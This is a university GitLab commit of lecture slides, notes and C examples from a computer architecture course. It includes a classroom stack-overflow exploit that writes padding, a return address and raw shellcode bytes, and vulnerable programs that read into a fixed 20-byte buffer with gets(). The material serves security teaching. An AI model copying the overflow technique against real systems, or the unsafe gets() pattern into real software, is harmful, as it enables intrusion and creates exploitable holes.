Skip to content
Snippets Groups Projects
Commit 5ebc7105 authored by Peter Gerwinski's avatar Peter Gerwinski
Browse files

Vortragsfolien, Notizen und Beispiele 14.6.2021

parent 01d32e35
No related branches found
No related tags found
No related merge requests found
Showing
with 1183 additions and 233 deletions
File deleted
../common/logo-hochschule-bochum-cvh-text-v2.pdf
\ No newline at end of file
File deleted
../common/logo-hochschule-bochum.pdf
\ No newline at end of file
% pgslides.sty - LaTeX Settings for Lecture Slides
% Copyright (C) 2012, 2013 Peter Gerwinski
%
% This document is free software: you can redistribute it and/or
% modify it either under the terms of the Creative Commons
% Attribution-ShareAlike 3.0 License, or under the terms of the
% GNU General Public License as published by the Free Software
% Foundation, either version 3 of the License, or (at your option)
% any later version.
%
% This document is distributed in the hope that it will be useful,
% but WITHOUT ANY WARRANTY; without even the implied warranty of
% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
% GNU General Public License for more details.
%
% You should have received a copy of the GNU General Public License
% along with this document. If not, see <http://www.gnu.org/licenses/>.
%
% You should have received a copy of the Creative Commons
% Attribution-ShareAlike 3.0 Unported License along with this
% document. If not, see <http://creativecommons.org/licenses/>.
\usepackage{amsfonts}
\usepackage[british,german]{babel} % Yes, really "german" and not "ngerman".
\usepackage[utf8]{luainputenc} % Without this, umlauts are broken. Weird.
\usepackage{microtype}
\usepackage[T1]{fontenc}
\usepackage{times}
\usepackage{helvet}
\renewcommand*\familydefault{\sfdefault}
\usepackage{graphicx}
\usepackage{pstricks}
\hypersetup{colorlinks,allcolors=blue}
%% @@@ Not necessary for slides. Why???
%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs).
%\directlua{
% local glyph = node.id ("glyph")
% local function my_kerning (head)
% for t in node.traverse (head) do
% if t.id == glyph and t.char == 47 then
% if t.next
% and t.next.next
% and t.next.next.id == glyph
% and t.next.next.char == 47 then
% local k = node.new ("kern")
% k.kern = tex.sp ("-0.15em")
% k.next = t.next
% k.prev = t
% t.next.prev = k
% t.next = k
% end
% end
% end
% node.kerning (head)
% end
% luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning")
%}
\usetheme{default}
\usefonttheme{structurebold}
\setbeamertemplate{navigation symbols}{}
\setbeamersize{text margin left = 0.3cm, text margin right = 0.2cm}
\setbeamertemplate{itemize item}{$\bullet$}
\setbeamertemplate{itemize subitem}{--}
\setbeamerfont{itemize/enumerate subbody}{size=\normalsize}
\setbeamerfont{itemize/enumerate subsubbody}{size=\normalsize}
\setbeamercolor{footline}{fg=gray}
\newcommand{\sep}{~$\cdot$~}
\newif\ifminimalistic
\minimalistictrue
\institute[Hochschule Bochum\sep CVH]{%
\makebox(0,0.005)[tl]{\includegraphics[scale=0.72]{logo-hochschule-bochum-cvh-text-v2.pdf}}\hfill
\makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}}%
}
\setbeamertemplate{headline}{%
\leavevmode
\hbox to \textwidth{%
\ifminimalistic
\strut\hfill
\else
\rule{0pt}{5.7pt}%
\hspace*{8.55pt}\insertinstitute\hspace*{5.7pt}%
\raisebox{-30pt}{\rule{0pt}{1pt}}%
\fi
}%
\vskip0pt%
}
\iffalse
\setbeamertemplate{footline}{}
\else
\setbeamertemplate{footline}{%
\leavevmode
\hbox to \textwidth{%
\usebeamercolor{footline}%
\usebeamerfont{footline}%
\ifminimalistic
\strut\hfill
\else
\,\insertshorttitle\sep
\insertshortauthor\sep
\insertshortinstitute\sep
\insertshortdate\hfill
\fi
\insertframenumber/\inserttotalframenumber
%Folie\,\insertframenumber\sep Seite\,\insertpagenumber\,
}%
\vskip0pt%
}
\fi
\newcommand{\maketitleframe}{%
\ifminimalistic
\begin{frame}[t,plain]
\insertinstitute
\par\vfill
\begin{center}
{\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip
{\large \insertauthor\par}\bigskip\medskip
\insertdate
\end{center}
\end{frame}
\else
\begin{frame}
\vfill
\begin{center}
{\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip
{\large \insertauthor\par}\bigskip\medskip
\insertdate
\end{center}
\vfill
\end{frame}
\fi
}
\definecolor{medgreen}{rgb}{0.0,0.5,0.0}
\definecolor{darkgreen}{rgb}{0.0,0.3,0.0}
\definecolor{lightred}{rgb}{1.0,0.7,0.7}
\definecolor{medred}{rgb}{0.5,0.0,0.0}
\definecolor{bored}{rgb}{0.89,0.0,0.098}
\definecolor{lightgray}{rgb}{0.85,0.85,0.85}
\definecolor{orange}{rgb}{1.0,0.5,0.0}
\definecolor{darkgray}{rgb}{0.4,0.4,0.4}
\newenvironment{experts}{\color{darkgray}}{}
\usepackage{listings}
\lstset{basicstyle=\color{structure},
language=C,
captionpos=b,
gobble=4,
columns=fullflexible,
aboveskip=0pt,
belowskip=0pt,
moredelim=**[is][\color{structure}]{¡}{¿},
moredelim=**[is][\only<2->{\color{structure}}]{²}{¿},
moredelim=**[is][\only<3->{\color{structure}}]{³}{¿},
moredelim=**[is][\only<4->{\color{structure}}]{°}{¿},
moredelim=**[is][\only<5->{\color{structure}}]{¤}{¿},
moredelim=**[is][\only<6->{\color{structure}}]{¢}{¿},
moredelim=**[is][\only<7->{\color{structure}}]{æ}{¿},
moredelim=**[is][\only<8->{\color{structure}}]{ø}{¿}}
\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen},
language={},
columns=fixed,
moredelim=**[is][\color{red}]{¡}{¿},
moredelim=**[is][\color{blendedblue}]{°}{¿},
moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{red},
language={},
gobble=2,
columns=fixed,
moredelim=**[is][\color{darkgreen}]{¡}{¿},
moredelim=**[is][\color{structure}]{°}{¿},
moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}}
\lstdefinestyle{shy}{basicstyle=\color{lightgray}}
\setcounter{topnumber}{3}
\renewcommand\topfraction{0.7}
\setcounter{bottomnumber}{3}
\renewcommand\bottomfraction{0.7}
\setcounter{totalnumber}{5}
\renewcommand\textfraction{0.1}
\renewcommand\floatpagefraction{0.9}
\setlength{\unitlength}{1cm}
\newcommand{\protectfile}[1]{#1}
\urlstyle{sf}
\newcommand{\file}[1]{{\color{structure}\protectfile{#1}}}
\newcommand{\textarrow}{{\boldmath $\longrightarrow$}}
\newcommand{\arrowitem}{\item[\textarrow]}
\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}}
\newcommand{\BIGskip}{\vspace{1cm}}
\newcommand{\shy}{\color{lightgray}}
\newcommand{\hot}{\color{red}}
\newcommand{\shyhot}{\color{lightred}}
\newcommand{\sectionnonumber}[1]{\section{#1}\addtocounter{section}{-1}}
\def\showsectionnonumber{\hbox{\Large\color{structure}\bf
\vtop{\secname}\par}\bigskip}
\newcommand{\nosectionnonumber}[1]{\gdef\nosectionnonumbername{#1}}
\def\shownosectionnonumber{\hbox{\Large\color{structure}\bf
\vtop{\nosectionnonumbername}\par}\bigskip}
\def\showsection{\hbox{\Large\color{structure}\bf
\vtop{\hbox{\arabic{section}}}\kern1em%
\vtop{\secname}\par}\bigskip}
\newcommand{\subsectionnonumber}[1]{\subsection{#1}\addtocounter{subsection}{-1}}
\def\showsubsectionnonumber{{\large\color{structure}\bf\subsecname\par}\bigskip}
\def\showsubsection{\hbox{\large\color{structure}\bf
\vtop{\hbox{\arabic{section}.\arabic{subsection}}}\kern1em%
\vtop{\subsecname}\par}\bigskip}
\newcommand{\subsubsectionnonumber}[1]{\subsubsection{#1}\addtocounter{subsubsection}{-1}}
\def\showsubsubsectionnonumber{{\normalsize\color{structure}\bf\subsubsecname\par}\bigskip}
\def\showsubsubsection{\hbox{\normalsize\color{structure}\bf
\vtop{\hbox{\arabic{section}.\arabic{subsection}.\arabic{subsubsection}}}\kern1em%
\vtop{\subsubsecname}\par}\bigskip}
../common/Buegeln.pdf
\ No newline at end of file
../common/Trommeltrocknen.pdf
\ No newline at end of file
../common/Waschen_30.pdf
\ No newline at end of file
#include <stdio.h>
#include <stdint.h>
int main (int argc, char **argv)
{
char loop[8];
uint64_t *loop_int = (uint64_t *) loop;
*loop_int = 0x555555555155;
printf ("Prof. Dr. rer. nat. Dipl.-Phys. Peter Ge%s\n", loop);
return 0;
}
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t my_program_address = 0x7fffffffdf90;
for (int i = 0; i < 0x28; i++)
write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse
write (1, &my_program_address, 8); // überschreiben zu können
write (1, "I 0WN U!", 8);
for (int i = 0; i < 24; i++)
write (1, " ", 1);
write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi hierhin erfolgt der
write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax "Rück-"Sprung
write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
write (1, "\xeb\xfe", 2); // while (1);
write (1, "\n", 1);
return 0;
}
File added
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
../common/logo-hochschule-bochum-cvh-text-v2.pdf
\ No newline at end of file
../common/logo-hochschule-bochum.pdf
\ No newline at end of file
../common/pgslides.sty
\ No newline at end of file
File added
This diff is collapsed.
Hausarbeit mit Kolloquium, 14.06.2021, 16:28:47
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Offizieller Abgabetermin: 23.7.2021
--> Bis dahin bitte "irgendetwas" einreichen.
Zusätzlich: 2 Präsentationstermine
26.7. (5 Präsentationen) und 5.8 (8 + 1 Präsentationen), jeweils ab 11:00 Uhr
Übungsaufgabe, 14.06.2021, 18:57:44
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Berechnen Sie - möglichst effizient - das Skalarprodukt
zweier Vektoren der Länge 5 mit einer Arithmetik-Pipeline
der Länge 3. Wieviele Blasen erhalten Sie?
(Siehe Seite 47 der Datei rtech-20210614.pdf)
#include <stdio.h>
int main (void)
{
int ID;
char buffer[20];
printf ("Your ID, please: ");
gets (buffer);
sscanf (buffer, "%d", &ID);
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\nYour ID is %d.\n", buffer, ID);
return 0;
}
#include <stdio.h>
int main (void)
{
static int ID;
static char buffer[20];
printf ("Your ID, please: ");
gets (buffer);
sscanf (buffer, "%d", &ID);
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\nYour ID is %d.\n", buffer, ID);
return 0;
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment